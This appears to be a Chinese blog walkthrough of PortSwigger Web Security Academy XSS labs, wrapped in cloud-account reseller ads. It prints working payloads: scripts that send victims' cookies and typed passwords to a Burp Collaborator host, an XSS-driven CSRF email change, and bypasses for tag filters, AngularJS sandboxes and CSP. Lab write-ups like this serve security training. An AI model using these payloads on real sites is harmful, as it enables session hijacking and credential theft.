portswigger 靶场之 XSS 篇 (下)

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

APPRENTICE

All labs | Web Security Academy (portswigger.net)

  1. 在 burp 中使用 Burp Collaborator Client,点击 copy to clipboard。

  2. 同时提交博客评论,修改 Burp Collaborator 子域名。

    1. 脚本的功能:查看评论的人发出 POST 请求以及 读取 cookie。
<script>
fetch('https://qe8bejkmbudhod20kznmpm8v5mbcz1.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

// document.cookie --> JavaScript 可以使用 document.cookie 属性来创建 、读取、及删除 cookie。
  1. 回到 Burp Collaborator,单击“Poll now”,以便看到 Http 交互从而找到 Cookie 值进行替换

  2. 刷新 Home 主页,在 Burp Repeater 中,Cookie 替换 Send 发送

15. 利用跨站点脚本捕获密码

依旧是在 burp 中使用 Burp Collaborator Client 功能,点击 copy to clipboard。然后评论博客注入脚本(查看评论的话,会发出包含其用户名和密码的 POST 请求)。

回到 Burp Collaborator,单击“Poll now”,找到用户名和密码进行登录即可

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://6pwdbg28z2wmxtzpbexotcyig9mzao.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

// onchange 事件 --> 当用户改变input输入框内容时执行一段Javascript代码:

administrator:2vlk8eidq808je5v2p8v

16. 利用 XSS 执行 CSRF

先进行登录,在更新电子邮件的位置审查元素,会发现存在 CSRF Token,修改电子邮件获取 CSRF Token 的值

将以下脚本写入博客评论中

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

17. 将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止

插入 XSS <img src=1 onerror=print()> 发现失败了,用 burp 抓包发送到 Burp Intruder 测试哪些标签和属性被阻止,先清除标签Clear §,然后将搜索词的值换为<§§>,在 XSS 备忘单点击Copy tags to clipboard

在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”粘贴。点击“start attack”。看到了 body 和custom tags 响应 200,于是知道了 body 没有过滤

继而将搜索词的值换为<body%20§§=1>,在 XSS 备忘单点击Copy events to clipboard

Clear 删除之前的 Payload,paste 粘贴刚复制的,点击“start attack”,发现 onresize 响应 200

// 在 Go to exploit server 的 body 中
<iframe src="https://0a3600a6032533acc04d05d10149009f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
    
// search="><body onresize=print()>" --> search=%22%3E%3Cbody%20onresize=print()%3E"

18. 将 XSS 反射到 HTML 上下文中,除了自定义标签外,所有标签都被阻止

自定义标记 XSS

<script>
location = 'https://0ac80018037267b7c24cf04d00d300df.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

// search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';

19. 允许带有一些 SVG 标记的反射型 XSS

根据标题,测试一下是否可以用 <svg>。搜索框中输入

<svg><animatetransform onbegin=alert(1) attributeName=transform>

// onBegin() (当元素周期开始时由 onbegin 事件立即触发) 

20. 规范链接标签中反映的 XSS

https://0ad700e904e18a69c0580c0a00f50068.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

%27accesskey=%27x%27onclick=%27alert(1) --> 'accesskey='x'onclick='alert(1)

21. 将 XSS 反射为带有单引号和反斜杠转义的 JavaScript 字符串

输入<script>alert(1)</script>发现(图一)

于是直接使用两个弹窗123"<script>alert(1)</script>"<script>alert(1)</script>(图二)

(图一)

(图二)

22. 将 XSS 反映到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义

输入后的东西会先被 HTML 编码,然后再被 URL 编码

// 弹窗
<script>alert(1)</script>

// Html 编码
&lt;script&gt;alert(1)&lt;/script&gt;

// Url 编码
%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B

// encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。

注意到\没有进行编码

123\'+alert(1); //

23. 将 XSS 反映到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义

HTML 解码:

http://aaa&apos;+alert(1)+&apos; --> http://aaa'+alert(1)+'

&apos; 进行 Html 解码后是 '

 http://aaa&apos;+alert(1)+&apos;

EXPERT

24. 带有事件处理程序和 href 属性的反射型 XSS 被阻止

模板字符串 - JavaScript | MDN (mozilla.org)

${alert(1)}

25. 在 JavaScript URL 中反映了 XSS 并阻止了一些字符

<svg><a><animate attributeName=href values="javascript:alert(1)" dur=1s repeatCount=2 /><text x=20 y=20>Click Me</text></a>

26. 反射 XSS 与 AngularJS 沙箱转义没有字符串

// 问题点
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
$scope.query = {};
var key = 'search';
$scope.query[key] = '123';
$scope.value = $parse(key)($scope.query);
});
https://0ae600a2036e6b38c13fc17000230068.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

27. 使用 AngularJS 沙箱转义和 CSP 的反射 XSS

<script>
location='https://0a140035033feb4dc106573801c300c2.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

28. 受非常严格的 CSP 保护的反射型 XSS,带有悬挂标记攻击

目的是需要修改被害者的 Email 变成 hacker@evil-user.net

需要取 CSRF Token,然后 CSRF PoC 放入 Token,修改邮箱地址……

30. 受 CSP 保护的反射型 XSS,绕过 CSP

预期解决方案只能在 Chrome 中使用。

https://0a2a00f0049fa705c2fbc4b600460008.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

// 搜索search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

//URL 解码后
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

// unsafe-inline 允许使用内联资源
// script-src-elem CSP 内容安全性策略

CSP: script-src-elem - HTTP | MDN (mozilla.org)

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6